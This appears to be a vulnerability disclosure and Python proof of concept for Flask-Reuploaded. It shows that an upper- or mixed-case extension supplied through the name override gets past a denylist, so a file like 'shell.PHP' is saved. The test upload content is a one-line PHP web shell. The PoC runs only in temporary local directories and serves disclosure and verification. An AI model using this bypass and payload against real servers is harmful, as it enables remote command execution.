Flask-Reuploaded EUVD-2026-77683

default path     : get_basename("shell.PHP")
                   = lowercase_ext(secure_filename("shell.PHP")) = "shell.php"
                   -> extension("shell.php") = "php"
                   -> extension_allowed("php")  -> DENY      (correct)

name-override    : secure_filename("shell.PHP") = "shell.PHP"   (case preserved)
                   -> basename = "shell.PHP"
                   -> ext = extension("shell.PHP") = "PHP"        (NOT lowercased)
                   -> extension_allowed("PHP")  -> ALLOW         (bypass)

# extensions.py:97
def __contains__(self, item): return item not in self.items
# "PHP" not in ('js','php','pl','py','rb','sh')  ->  True   ->  allowed

default path  : lowercase_ext("shell.PHP") -> "php" -> extension_allowed("php") -> DENY
name-override : secure_filename("shell.PHP") -> "shell.PHP" -> extension(...) -> "PHP" -> extension_allowed("PHP") -> ALLOW

[1] save(storage("shell.PHP"))                              -> UploadNotAllowed   (default path blocked)
[2] save(storage("upload.bin"), name="shell.PHP")           -> saved "shell.PHP", on_disk=True   (BYPASS)
[2b] save(storage("upload.bin"), name="evil.pHp")           -> saved "evil.pHp",  on_disk=True; containment intact

[3] allowlist IMAGES, name="shell.PHP"  -> UploadNotAllowed: File extension 'PHP' is not allowed  (fail-closed)
[4] allowlist IMAGES, name="photo.jpg"  -> saved "photo.jpg"                                       (legit unaffected)

"""
PoC - Flask-Reuploaded CVE-2026-27641 incomplete-fix variant
Case-folding asymmetry in the name-override extension re-validation.

Parent fix (v1.5.0) added an extension re-validation in UploadSet.save() when a
`name` override is supplied, but routed it through the CASE-PRESERVING
`extension()` helper instead of the CASE-NORMALIZING `lowercase_ext()` used by the
default upload path (get_basename -> lowercase_ext). On a denylist-style UploadSet
(AllExcept / config.deny), an uppercase/mixed-case extension therefore bypasses the
denylist that the default path correctly blocks.

  default path     : lowercase_ext("shell.PHP") -> "php" -> extension_allowed("php") -> DENY
  name-override    : secure_filename("shell.PHP") -> "shell.PHP" (case kept)
                     -> extension("shell.PHP")  -> "PHP" -> extension_allowed("PHP") -> ALLOW

Tested against the SHIPPED, patched Flask-Reuploaded==1.5.0.
"""
import io
import os
import shutil
import tempfile

from flask import Flask
from flask_uploads import (
    UploadSet, AllExcept, SCRIPTS, IMAGES, configure_uploads, UploadNotAllowed,
)
from werkzeug.datastructures import FileStorage
import flask_uploads


def make_storage(filename: str) -> FileStorage:
    return FileStorage(
        stream=io.BytesIO(b"<?php system($_GET['c']); ?>"),
        filename=filename,
        content_type="application/octet-stream",
    )


def run():
    import importlib.metadata as md
    print(f"[*] pip reports: Flask-Reuploaded=={md.version('Flask-Reuploaded')}")

    dest_denylist = tempfile.mkdtemp(prefix="fr_deny_")
    dest_allowlist = tempfile.mkdtemp(prefix="fr_allow_")

    app = Flask(__name__)
    files_deny = UploadSet("filesdeny", AllExcept(SCRIPTS))
# documented "allow all except scripts"
    files_allow = UploadSet("filesallow", IMAGES)
# allowlist (fail-closed)
    app.config["UPLOADED_FILESDENY_DEST"] = dest_denylist
    app.config["UPLOADED_FILESALLOW_DEST"] = dest_allowlist
    configure_uploads(app, (files_deny, files_allow))

    results = {}
    with app.app_context():
# [1] default path, denylist -> must DENY
        try:
            saved = files_deny.save(make_storage("shell.PHP"))
            results["default_path"] = f"SAVED as {saved}  <-- UNEXPECTED"
        except UploadNotAllowed:
            results["default_path"] = "DENIED (expected)"
# [2] name-override, denylist -> BYPASS
        try:
            saved = files_deny.save(make_storage("upload.bin"), name="shell.PHP")
            on_disk = os.path.join(dest_denylist, saved)
            results["variant"] = f"BYPASS - saved as {saved}, on_disk={os.path.exists(on_disk)}"
        except UploadNotAllowed:
            results["variant"] = "DENIED (variant did NOT reproduce)"
# [2b] mixed-case generality + containment intact
        try:
            saved = files_deny.save(make_storage("upload.bin"), name="evil.pHp")
            on_disk = os.path.join(dest_denylist, saved)
            inside = os.path.realpath(on_disk).startswith(os.path.realpath(dest_denylist))
            results["variant_mixed"] = f"BYPASS - saved as {saved}, inside_dest={inside}"
        except UploadNotAllowed:
            results["variant_mixed"] = "DENIED"
# [3] allowlist -> fail closed
        try:
            saved = files_allow.save(make_storage("real.jpg"), name="shell.PHP")
            results["allowlist"] = f"SAVED as {saved}  <-- allowlist leaked"
        except UploadNotAllowed:
            results["allowlist"] = "DENIED (expected - allowlist fails closed)"
# [4] legit upload -> allowed
        try:
            saved = files_allow.save(make_storage("real.jpg"), name="photo.jpg")
            results["legit"] = f"SAVED as {saved} (expected)"
        except UploadNotAllowed:
            results["legit"] = "DENIED (UNEXPECTED - legit upload broke)"

    print("VERDICT:")
    for k, v in results.items():
        print(f"   {k:14s}: {v}")

    confirmed = (
        "BYPASS" in results.get("variant", "")
        and results.get("default_path") == "DENIED (expected)"
        and "DENIED" in results.get("allowlist", "")
    )
    print("FLASK_REUPLOADED_CASE_FOLD_CONFIRMED" if confirmed else "VARIANT NOT CONFIRMED - honest cut")

    shutil.rmtree(dest_denylist, ignore_errors=True)
    shutil.rmtree(dest_allowlist, ignore_errors=True)


if __name__ == "__main__":
    run()